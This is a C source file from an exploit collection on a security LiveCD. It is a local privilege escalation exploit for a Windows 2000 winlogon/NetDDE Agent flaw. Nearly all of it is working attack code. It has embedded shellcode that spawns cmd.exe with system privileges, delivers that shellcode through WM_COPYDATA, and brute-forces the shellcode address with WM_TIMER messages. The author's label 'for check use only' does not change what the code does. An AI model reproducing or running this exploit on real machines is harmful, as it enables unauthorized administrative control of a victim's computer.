home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / GetAd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  125 lines

  1. //
  2. /////////// Copyright Serus 2002////////////////
  3. //mailto:serus@users.mns.ru
  4. //
  5. //This program check system on winlogon bug present
  6. //Only for Windows 2000
  7. //This is for check use only!
  8. //
  9.  
  10. #include <windows.h>
  11. #include <stdio.h>
  12.  
  13.  
  14. void main(int argc, char *argv[ ], char *envp[ ] )
  15. {
  16.     char    *buf;
  17.     DWORD    Addr = 0;
  18.     BOOL    bExec = TRUE;
  19.  
  20.     unsigned char sc[] = {    // my simple shellcode, it calls CreateProcess function,
  21.                             // executes cmd.exe on user`s desktop and creates mutex.
  22.         0x8B, 0xF4,
  23.         0x68, 0x53, 0x45, 0x52, 0x00,
  24.         0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00,
  25.         0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6,
  26.         0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00, 
  27.         0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44,
  28.         0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69, 
  29.         0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00,  
  30.         0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C,
  31.         0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08, 
  32.         0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
  33.         0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A, 0x00, 0xB8, 0x4D, 0xA4,
  34.         0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3
  35.     };
  36.  
  37.     HWND            hWnd;
  38.     COPYDATASTRUCT    cds;
  39.     HMODULE            hMod;
  40.     DWORD            ProcAddr;
  41.     HANDLE            hMutex;
  42.     char            mutname[4];
  43.  
  44.     printf("\n\n==== GetAd by Serus (serus@users.mns.ru) ====");
  45.  
  46.     // Get NetDDE Window
  47.     hWnd = FindWindow("NDDEAgnt","NetDDE Agent");
  48.     if(hWnd == NULL) 
  49.     {
  50.         MessageBox(NULL, "Couldn't find NetDDE agent window", "Error", MB_OK | MB_ICONSTOP);
  51.         return;
  52.     }
  53.  
  54.     // Get CreateProcessA and CreateMutexA entry addresses
  55.     hMod = GetModuleHandle("kernel32.dll");
  56.     ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA");
  57.  
  58.     if(ProcAddr == 0)
  59.     {
  60.         MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP);
  61.         return;
  62.     }
  63.     *(DWORD *)(sc + 86 + 21) = ProcAddr;
  64.  
  65.     ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA");
  66.     if(ProcAddr == 0)
  67.     {
  68.         MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP);
  69.         return;
  70.     }
  71.     *(DWORD *)(sc + 15) = ProcAddr;
  72.  
  73.     //Generate random Mutex name
  74.     srand(GetTickCount());
  75.  
  76.     do
  77.     {
  78.         mutname[0] = 97 + rand()%25;
  79.         mutname[1] = 65 + rand()%25;
  80.         mutname[2] = 65 + rand()%25;
  81.         mutname[3] = 0;
  82.     }
  83.     while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0);
  84.     memcpy(sc + 3, mutname, 4);
  85.  
  86.     //Form buffer for SendMessage
  87.     buf = (char *)malloc(1000);
  88.     memset(buf, 0xC3, 1000);
  89.     memcpy(buf, sc, sizeof(sc));
  90.  
  91.     cds.cbData = 1000;
  92.     cds.dwData = 0;
  93.     cds.lpData=(PVOID)buf;
  94.  
  95.     //If first login
  96.     //Send shellcode buffer
  97.     SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
  98.     //Try execute it at 0x0080FA78
  99.     PostMessage(hWnd, WM_TIMER, 1, (LPARAM)0x0080FA78);
  100.     printf("\n\nTrying at 0x%X", 0x0080FA78);
  101.  
  102.     //If fails (perhaps not first login)
  103.     //Try to bruteforce shellcode addresss
  104.     for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000)
  105.     {
  106.         //If mutex exists, shellcode has been executed
  107.         if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0)
  108.         {
  109.             //Success
  110.             printf("\nSuccess!!!\n");
  111.             printf("\nWarning! You system has vulnerability!\n");
  112.             CloseHandle(hMutex);
  113.             return;
  114.         }
  115.         printf("\rTrying at 0x%X", Addr);
  116.  
  117.         SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
  118.         PostMessage(hWnd, WM_TIMER, 1, (LPARAM)Addr);
  119.     }
  120.  
  121.     //Bug in winlogon not presents
  122.     printf("\n\nBad luck! Reboot and try again.\n\n");
  123.  
  124. }
  125.